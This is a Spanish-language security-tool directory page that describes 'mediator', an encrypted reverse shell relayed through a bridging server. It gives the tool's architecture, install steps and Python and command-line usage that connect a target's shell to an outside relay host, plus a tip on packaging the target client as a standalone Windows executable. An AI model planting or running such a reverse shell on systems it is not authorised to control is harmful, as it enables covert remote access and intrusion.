Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
mediator — Un shell inverso extensible, cifrado de extremo a extremo, que funciona a través de redes sin necesidad de reenvío de puertos. | Kitploit
Herramientas/GitHubGitHub/lawndoc/mediator
Herramientas de Cifrado/DescifradoIngeniería InversaPruebas de PenetraciónComando y ControlUtilidades y FrameworksRed TeamingRespuesta a IncidentesHerramienta de Acceso Remoto
GitHublawndoc/mediator

mediator

Un shell inverso extensible, cifrado de extremo a extremo, que funciona a través de redes sin necesidad de reenvío de puertos.

Ver Repositorio
1001349hace 2 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

logotipo de mediator

Mediator es una shell reversa cifrada de extremo a extremo en la que el operador y la shell se conectan a un servidor "mediador" que puentea las conexiones. Esto elimina la necesidad de que el operador/controlador configure el redireccionamiento de puertos para escuchar la conexión. Mediator también permite crear plugins para ampliar la funcionalidad de la shell reversa.

Puede ejecutar los scripts de Mediator como ejecutables independientes o importarlos para integrarlos en otras herramientas de pentesting y respuesta a incidentes.

Arquitectura:

Inspirado en las aplicaciones de chat cifradas de extremo a extremo, Mediator adopta un enfoque único en el modelo cliente/servidor de una shell reversa. Mediator utiliza:

  1. Una shell reversa cliente
  2. Un controlador/operador cliente
  3. Un servidor que puentea las dos conexiones

Las shells reversas y los controladores se conectan al servidor Mediator con una clave de conexión. El servidor escucha en el puerto 80 para las conexiones del controlador y en el puerto 443 para las conexiones de la shell reversa. Cuando los clientes se conectan al mediador, el servidor los pone en cola según su tipo respectivo y clave de conexión. Cuando tanto una shell reversa como un operador se conectan al servidor con la misma clave, el servidor puentea las dos conexiones. A partir de ahí, se realiza un intercambio de claves entre los dos clientes, y toda la comunicación entre la shell reversa y el operador se cifra de extremo a extremo. Esto garantiza que el servidor no pueda espiar los flujos que está redirigiendo.

Plugins

Los plugins permiten agregar comandos adicionales que pueden ejecutar código en el host del operador, en el host objetivo o en ambos. Consulte el LEEME en el directorio de plugins para obtener más información sobre los plugins.

Instrucciones:

Servidor

Los scripts del cliente se pueden ejecutar en Windows o Linux, pero necesitará levantar el servidor (mediator.py) en un host Linux. El servidor es Python puro, por lo que no es necesario instalar dependencias. Puede ejecutar el script del servidor con

root@kitploit:~
$ python3 mediator.py

o puede construir una imagen Docker con el Dockerfile proporcionado y ejecutarlo en un contenedor (asegúrese de publicar los puertos 80 y 443).

Clientes

Necesitará instalar las dependencias que se encuentran en requirements.txt) para que los clientes funcionen. Puede hacerlo con el siguiente comando:

root@kitploit:~
$ pip3 install -r requirements.txt

Consulte Consejos y recordatorios al final para obtener ayuda sobre la distribución de los clientes sin preocuparse por las dependencias.

El controlador y la shell reversa se pueden usar dentro de otros scripts de Python o directamente desde la línea de comandos. En ambos casos, los clientes pueden aceptar argumentos para la dirección del servidor y la clave de conexión. El uso de esos argumentos se describe a continuación.

Dirección del servidor Mediator

Para el uso en scripts de Python, la dirección del host mediador es necesaria al crear la instancia:

Clase Handler

root@kitploit:~
from handler import Handler

operator = Handler(mediatorHost="example.com")
operator.run()

Clase WindowsRShell

root@kitploit:~
from windowsTarget import WindowsRShell

shell = WindowsRShell(mediatorHost="example.com")
shell.run()

Si se ejecuta un script de cliente directamente desde una shell, puede codificar la dirección al final del script, o se puede especificar la dirección del servidor como argumento con la bandera -s o --server:

handler.py

root@kitploit:~
$ python3 handler.py -s example.com

windowsTarget.py

root@kitploit:~
> python windowsTarget.py -s example.com

Clave de conexión

Cuando dos controladores o dos shells reversas se conectan al servidor Mediator con la misma clave de conexión, solo la primera conexión se pone en cola esperando su contraparte. Hasta que la conexión en cola agote el tiempo de espera (30 segundos) o coincida con una conexión contraparte, todos los demás clientes del mismo tipo que intenten conectarse con la misma clave de conexión serán rechazados.

Es importante asegurarse de que cada controlador utilice una clave de conexión única para evitar una condición de carrera que resulte en la entrega de la shell incorrecta a un operador.

Solo se aceptarán claves con el prefijo "#!ConnectionKey_". La clave de conexión predeterminada es "#!ConnectionKey_CHANGE_ME!!!".

Para cambiar la clave de conexión en el uso de scripts de Python, la clave de conexión se puede proporcionar opcionalmente al crear la instancia:

Clase Handler

root@kitploit:~
from handler import Handler

operator = Handler(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
operator.run()

Clase LinuxRShell

root@kitploit:~
from linuxTarget import LinuxRShell

shell = LinuxRShell(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
shell.run()

Si se ejecuta un script de cliente directamente desde una shell, puede codificar la clave de conexión al final del script, o se puede especificar la clave de conexión como argumento con la bandera -c o --connection-key:

handler.py

root@kitploit:~
$ python3 handler.py -s example.com -c '#!ConnectionKey_secret_key'

windowsTarget.py

root@kitploit:~
> python windowsTarget.py -s example.com -c '#!ConnectionKey_secret_key'

Consejos y recordatorios:

  • RECORDATORIO: los controladores y las shells reversas no se conectarán entre sí a menos que se conecten al servidor mediador usando la misma clave de conexión dentro de un intervalo de 30 segundos.
  • CONSEJO: Puede crear fácilmente un exe para windowsTarget.py con pyinstaller usando la bandera --onefile.
  • CONSEJO: Por seguridad, debe usar una clave de conexión generada aleatoriamente para cada sesión. Si una parte malintencionada descubre su clave de conexión y satura el puerto del operador con ella, su cliente operador no podrá conectarse debido a que el servidor no permite conexiones duplicadas, y esa parte malintencionada se conectará a la shell de su objetivo.
Descargar herramienta